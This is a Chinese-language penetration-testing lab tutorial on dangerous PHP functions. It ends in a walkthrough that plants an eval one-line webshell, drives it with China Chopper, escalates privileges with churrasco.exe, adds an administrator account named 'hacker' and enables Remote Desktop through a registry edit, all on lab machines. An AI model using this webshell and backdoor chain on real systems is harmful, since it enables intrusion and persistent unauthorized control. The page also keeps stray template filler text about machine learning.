PHP代码审计基础
前言
提示:这里可以添加本文要记录的大概内容:
例如:随着人工智能的不断发展,机器学习这门技术也越来越重要,很多人都开启了学习机器学习,本文就介绍了机器学习的基础内容。
任务场景:
【任务场景】
小王想学习Web渗透,但对SQL注入等漏洞一窍不通。老师告诉他,想要掌握Web渗透,就一定要熟悉在网站开发过程中常见的危险函数。
任务分析:
【任务分析】
本次我们将讲述在PHP中常见的危险函数及特殊函数。这些零散、非体系的知识点需要牢牢记住,在大多数Web渗透测试中,将被广泛运用。
预备知识:
【预备知识】
在PHP中有一些非常危险且在编程中使用频率较低的函数。比如 eval() 函数可以把字符串作为PHP代码执行, chmod() 函数可以改变文件及文件夹的权限。这些函数如果使用不当可能会对服务器的安全造成很严重的影响。恶意利用者很有可能会利用这些函数实现SQL注入、越权等操作,在不是必须要使用这些函数的情况下应该直接禁止这些函数。比如常见的一句话木马 “<?php @eval($_POST[value]);?>” 如果不禁用 eval() 函数,恶意利用者就可以通过一句话木马进行提权,危害极大。
任务实施:
环境说明:
攻击机:kali2022-0520(kali Linux) ip:172.16.5.105
靶 机:win03-2-1(Windows 2003)ip:172.16.5.148
客户端:win7-1-1 (windows7) ip:172.16.5.149
第一步:访问靶机网页
使用攻击机Kali Linux中的浏览器,访问靶机网站Windows2003的board目录

进入PHP代码的调试页面,我们可以在此页面执行指定的PHP命令
第二步:调用函数
首先是phpinfo()函数,phpinfo()函数用于输出 PHP 环境、Web 环境以及相关模块等信息

在PHP Info中,我们能看到许多关于PHP的运行信息,
这里为大家推举一些:
获取当前Web服务所在的目录
![]()
获取到当前PHP服务所使用的用户
![]()
获取PHP配置文件php.ini的所在位置
![]()
allow_url_fopen 和 allow_url_include
这两个参数经常被文件包含漏洞所利用,如果这两项开启,可能会导致文件包含漏洞产生

第三步:eval函数
在左侧代码调试框中输入:eval(phpinfo());

eval()函数可以执行PHP命令。通常在写入一句话木马时使用
再次输入eval($_GET[‘cmd’]);

这一段的意思是将$_GET[‘cmd’]上传到靶机的Web服务 ,代表可以以“cmd”为密码,在URL中传入字符串
然后我们访问网站的/board/show.php,也就是靶机的Web服务所在的目录
(注:这个/board/show.php路径是在phpinfo中找到的,上面有讲)

接下来我们通过URL来执行PHP命令phpinfo();
http://172.16.5.148/board/show.php?cmd=phpinfo();

在这里我们再讲一下assert()这个函数,assert()的作用与eval()基本相同,都是用来执行PHP命令。eval()可以将字符串解析为PHP命令,而assert()内必须是PHP语句,不能是字符串。
第五步:system();函数
输入system('whoami');

通过system()函数,我们可以直接执行系统命令。这里我们执行了“whoami”,获得返回至“nt authority\network server”,即:当前Web服务使用“network service”用户启动,该用户属于“nt authority”组
system()函数可以和eval()函数相配合,达到系统命令执行的效果
比如:

除了system()函数,还有三个与之相近的函数:
1.exec()
不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。

2.passthru()
只调用命令,把命令的运行结果原样地直接输出到标准输出设备上

3.shell_exec()
shell_exec() 是PHP中的一个内置函数,用于通过shell执行命令并以字符串的形式返回完整的输出。

第六步:实战案例复现
现在我们尝试使用eval函数,配合“中国菜刀”取得靶机的完全控制权。
(1)在调试栏写入一个一句话木马:<?php @eval($_POST[‘cmd’]); ?>

( 2)点击“执行”以后,这条语句就被写入到了/board/show.php:
然后我们再客户端找到中国菜刀和提权工具churrasco.exe。

(3)打开中国菜刀,在主界面右键-添加shell:

(4)进入虚拟终端:

再终端中使用whoami命令可以看到我们的账户权限较低
(5)提权:
返回主界面,在一句话木马处右键打开文件管理

将本地的churrasco.exe拖入到网站根目录C:\AppServ\www中

(6)回到终端,切换到C:\AppServ\www路径上,尝试运行提权文件

(7)创建账户,并添加到管理员组里
churrasco.exe "net user hacker 123456 /add" //创建账户hacker,密码123456
churrasco.exe "net localgroup administrators hacker /add" \\将hacker设置为管理员组成员

(8)开启远程桌面
修改注册表内容
churrasco.exe "REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal""" """Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f"

远程连接靶机




总结
本次主要讲述的正是这些了,关于一些PHP危险函数以及提权的操作,其中phpinfo中的参数也是需要专研的这次就先简单的讲一点
需要测试环境的可以联系我

本文介绍了PHP代码审计的基础,强调了像eval()和system()这样的危险函数在Web开发中的安全隐患。通过实例演示了如何利用这些函数进行系统命令执行,以及提权操作,提醒开发者注意代码安全,避免SQL注入和权限滥用。
1049

被折叠的 条评论
为什么被折叠?



